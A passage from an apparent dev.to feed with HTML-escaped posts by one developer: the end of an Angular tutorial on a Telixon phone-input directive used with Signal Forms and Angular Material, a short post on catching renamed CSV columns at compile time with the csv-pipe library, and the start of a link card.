  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;contactForm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;form&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;required&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Phone number is required.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;computed&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;contactForm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]?.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three attributes carry the whole thing. &lt;code&gt;[telixonPhoneField]&lt;/code&gt; turns the input into the phone field, here in international mode with the calling code shown on the picker. &lt;code&gt;[formField]&lt;/code&gt; binds it to the form, the same binding a native input gets. &lt;code&gt;[for]&lt;/code&gt; on the picker links it to the field through the &lt;code&gt;#phone&lt;/code&gt; reference.&lt;/p&gt;

&lt;p&gt;The input stays a plain &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; and its look is up to your CSS. The quick start uses this much:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight scss"&gt;&lt;code&gt;&lt;span class="nc"&gt;.field&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="na"&gt;gap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.5rem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.field&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;10rem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;min-width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.55rem&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.7rem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;font&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;inherit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="nf"&gt;color-mix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="n"&gt;srgb&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;currentColor&lt;/span&gt; &lt;span class="m"&gt;30%&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;transparent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.375em&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;transparent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;inherit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Type &lt;code&gt;4155550132&lt;/code&gt; and the input shows &lt;code&gt;415-555-0132&lt;/code&gt; while the model shows &lt;code&gt;+14155550132&lt;/code&gt;. Type &lt;code&gt;416&lt;/code&gt; and the flag turns Canadian on its own, because Canada shares the calling code and 416 belongs to Toronto. Nothing in the component knows about Toronto.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step two, what the form sees
&lt;/h2&gt;

&lt;p&gt;The model holds E.164 while the number is valid and &lt;code&gt;null&lt;/code&gt; at any other time, which means the submit handler never parses anything. The rules you write stay in the schema, &lt;code&gt;required&lt;/code&gt; here. An invalid number adds one entry to &lt;code&gt;errors()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;contactForm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;// [{ kind: 'telixonPhone', message: 'This number is too short.', fault: { kind: 'TOO_SHORT', minLength: 10 } }]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;message&lt;/code&gt; is ready to show. &lt;code&gt;fault&lt;/code&gt; carries the reason, such as &lt;code&gt;TOO_SHORT&lt;/code&gt; with the minimum length, for your own wording or a translation through the &lt;code&gt;errorMessage&lt;/code&gt; input. The error marks the field invalid and blocks submission like a schema rule. While the number is invalid the model is &lt;code&gt;null&lt;/code&gt;, which trips the schema's &lt;code&gt;required&lt;/code&gt; as well. Angular lists the parse error first, which is why the template reads &lt;code&gt;errors()[0]&lt;/code&gt; and shows the field's message. An empty field reports nothing from the field itself and leaves the message to &lt;code&gt;required&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The schema's &lt;code&gt;disabled&lt;/code&gt;, &lt;code&gt;readonly&lt;/code&gt;, and &lt;code&gt;required&lt;/code&gt; land on the input element as well. Add &lt;code&gt;readonly(schema.phone)&lt;/code&gt; and the input locks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step three, the same field inside Angular Material
&lt;/h2&gt;

&lt;p&gt;This is the step where &lt;code&gt;MatFormFieldControl&lt;/code&gt; usually comes in. Here is the whole change:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-contact&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;FormField&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;MatFormFieldModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;MatInputModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;TelixonPhoneField&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;TelixonRegionPicker&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;changeDetection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ChangeDetectionStrategy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;OnPush&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;mat-form-field appearance="outline"&amp;gt;
      &amp;lt;mat-label&amp;gt;Phone&amp;lt;/mat-label&amp;gt;

      &amp;lt;telixon-region-picker matTextPrefix [for]="phone" anchor=".mdc-text-field" [prioritize]="['US', 'CA', 'GB']" /&amp;gt;

      &amp;lt;input
        matInput
        type="tel"
        autocomplete="tel"
        #phone="telixonPhoneField"
        [telixonPhoneField]="{ mode: 'national', defaultRegion: 'US' }"
        [formField]="contactForm.phone"
        [placeholder]="phone.state()?.placeholder ?? ''"
      /&amp;gt;

      &amp;lt;mat-error&amp;gt;{{ contactForm.phone().errors()[0]?.message }}&amp;lt;/mat-error&amp;gt;
    &amp;lt;/mat-form-field&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Contact&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;contactForm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;form&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;required&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Phone number is required.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;matInput&lt;/code&gt; sits on the same &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; as the directive, which is the one idea from the start of this post. Material reads the field's state through Signal Forms, which gives the floating label, the outline notch, &lt;code&gt;aria-invalid&lt;/code&gt;, and &lt;code&gt;mat-error&lt;/code&gt; with no &lt;code&gt;@if&lt;/code&gt; around it. &lt;code&gt;matTextPrefix&lt;/code&gt; puts the picker on the text line. &lt;code&gt;anchor=".mdc-text-field"&lt;/code&gt; lines the list up with the box Material draws. The mode is national this time, with the calling code implied by the flag.&lt;/p&gt;

&lt;p&gt;The input itself needs no styles here, because &lt;code&gt;matInput&lt;/code&gt; draws it. The one snag is the picker. It renders inside the form field where component styles do not reach. Its one rule goes into the global stylesheet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight scss"&gt;&lt;code&gt;&lt;span class="nc"&gt;.mat-mdc-form-field&lt;/span&gt; &lt;span class="nc"&gt;.tlx-region-picker__trigger&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.5em&lt;/span&gt; &lt;span class="m"&gt;1rem&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.5em&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.5em&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="na"&gt;margin-inline-start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;-0&lt;/span&gt;&lt;span class="mi"&gt;.5em&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="na"&gt;translate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;-1px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the same run as before. &lt;code&gt;4155550132&lt;/code&gt; shows as &lt;code&gt;(415) 555-0132&lt;/code&gt;. Pick the United Kingdom and type &lt;code&gt;02071838750&lt;/code&gt;. The input shows &lt;code&gt;020 7183 8750&lt;/code&gt; while the model holds &lt;code&gt;+442071838750&lt;/code&gt;. Leave the field after &lt;code&gt;020 71&lt;/code&gt; and Material shows "This number is too short." The second contract never comes up.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to take away
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Signal Forms let a directive be the control. &lt;code&gt;FormValueControl&lt;/code&gt; is a contract, a value plus errors. A directive on a native &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; fulfills it.&lt;/li&gt;
&lt;li&gt;A ControlValueAccessor bound through &lt;code&gt;[formField]&lt;/code&gt; works through a compatibility path and loses its typed errors on the way. For Signal Forms, use a &lt;code&gt;FormValueControl&lt;/code&gt;. Telixon ships both, &lt;code&gt;TelixonPhoneInput&lt;/code&gt; for reactive forms and &lt;code&gt;TelixonPhoneField&lt;/code&gt; for Signal Forms, with the same options.&lt;/li&gt;
&lt;li&gt;The validation comes from an engine compiled from Google libphonenumber's metadata and verified against it in CI. Whether &lt;code&gt;020 7183 875&lt;/code&gt; is complete is a question for the numbering plan. The engine answers it the way Google's library does.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Run it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackblitz.com/github/martsinlabs/telixon/tree/main/examples/angular/quick-start-signal-forms" rel="noopener noreferrer"&gt;The plain field on StackBlitz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackblitz.com/github/martsinlabs/telixon/tree/main/examples/angular/quick-start-signal-forms-material" rel="noopener noreferrer"&gt;The Material field on StackBlitz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://telixon.dev/angular/guides/signal-forms/" rel="noopener noreferrer"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/martsinlabs/telixon" rel="noopener noreferrer"&gt;Source&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the field formats or validates a number differently from Google libphonenumber, open an issue with the number. A wrong answer is a bug.&lt;/p&gt;

</description>
      <category>angular</category>
      <category>javascript</category>
      <category>typescript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>The CSV bug that compiles clean and breaks in production</title>
      <dc:creator>Myroslav Martsin</dc:creator>
      <pubDate>Thu, 25 Jun 2026 18:01:08 +0000</pubDate>
      <link>https://dev.to/myroslavmartsin/the-csv-bug-that-compiles-clean-and-breaks-in-production-13f2</link>
      <guid>https://dev.to/myroslavmartsin/the-csv-bug-that-compiles-clean-and-breaks-in-production-13f2</guid>
      <description>&lt;p&gt;Here is a bug I have shipped more than once.&lt;/p&gt;

&lt;p&gt;You have an export that turns records into CSV. The column list is just strings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Papa&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;papaparse&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;Papa&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;email&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt; &lt;span class="c1"&gt;// columns are plain strings&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Six months later someone renames &lt;code&gt;name&lt;/code&gt; to &lt;code&gt;fullName&lt;/code&gt; on the User type. The compiler is happy. The tests that do not touch this path are happy. The export keeps running. It just quietly emits an empty &lt;code&gt;name&lt;/code&gt; column, and you find out when a customer asks why half of their download is blank.&lt;/p&gt;

&lt;p&gt;The root cause: the column list and your data have no connection the compiler can see. &lt;code&gt;'name'&lt;/code&gt; is just a string, and renaming a field cannot break a string.&lt;/p&gt;

&lt;p&gt;The fix is to tie the columns to the type. In csv-pipe the column list is &lt;code&gt;keyof T&lt;/code&gt;, so it is checked against your records:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;stringify&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;csv-pipe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;fullName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;fullName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Alex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;alex@example.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}];&lt;/span&gt;

&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fullName&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;email&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt; &lt;span class="c1"&gt;// ok&lt;/span&gt;
&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt; &lt;span class="c1"&gt;// compile error: 'name' is not a key of User&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the rename cannot stay silent. The moment &lt;code&gt;name&lt;/code&gt; becomes &lt;code&gt;fullName&lt;/code&gt; on the type, every &lt;code&gt;columns: ['name']&lt;/code&gt; in your codebase turns red until you fix it. The column list moves with the data.&lt;/p&gt;

&lt;p&gt;It is a small thing, but it is the difference between catching the bug in your editor and catching it in a support ticket.&lt;/p&gt;

&lt;p&gt;csv-pipe is a typed, zero-dependency CSV library that does this for both encoding and parsing, on every runtime. Try it on your own data: &lt;a href="https://martsinlabs.github.io/csv-pipe/playground" rel="noopener noreferrer"&gt;https://martsinlabs.github.io/csv-pipe/playground&lt;/a&gt;&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Ever had a renamed column quietly break a CSV export? csv-pipe makes it a compile error, reads and writes both ways, and parses several times faster than papaparse. Live playground in the post to try your own data.</title>
      <dc:creator>Myroslav Martsin</dc:creator>
      <pubDate>Mon, 22 Jun 2026 21:26:43 +0000</pubDate>
      <link>https://dev.to/myroslavmartsin/ever-had-a-renamed-column-quietly-break-a-csv-export-csv-pipe-makes-it-a-compile-error-reads-and-18oi</link>
      <guid>https://dev.to/myroslavmartsin/ever-had-a-renamed-column-quietly-break-a-csv-export-csv-pipe-makes-it-a-compile-error-reads-and-18oi</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/myroslavmartsin/csv-pipe-read-and-write-csv-in-typescript-several-times-faster-than-papaparse-167k" class="crayons-story__hidden-navigation-link"&gt;csv-pipe: read and write CSV in TypeScript, several times faster than papaparse&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/myroslavmartsin" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2492950%2Fc058fa5d-3387-4fe8-91fc-d980cbd048e2.jpg" alt="myroslavmartsin profile" class="crayons-avatar__image" width="96" height="96"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/myroslavmartsin" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Myroslav Martsin
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Myroslav Martsin
                
              
              &lt;div id="story-author-preview-content-3964988" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/myroslavmartsin" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
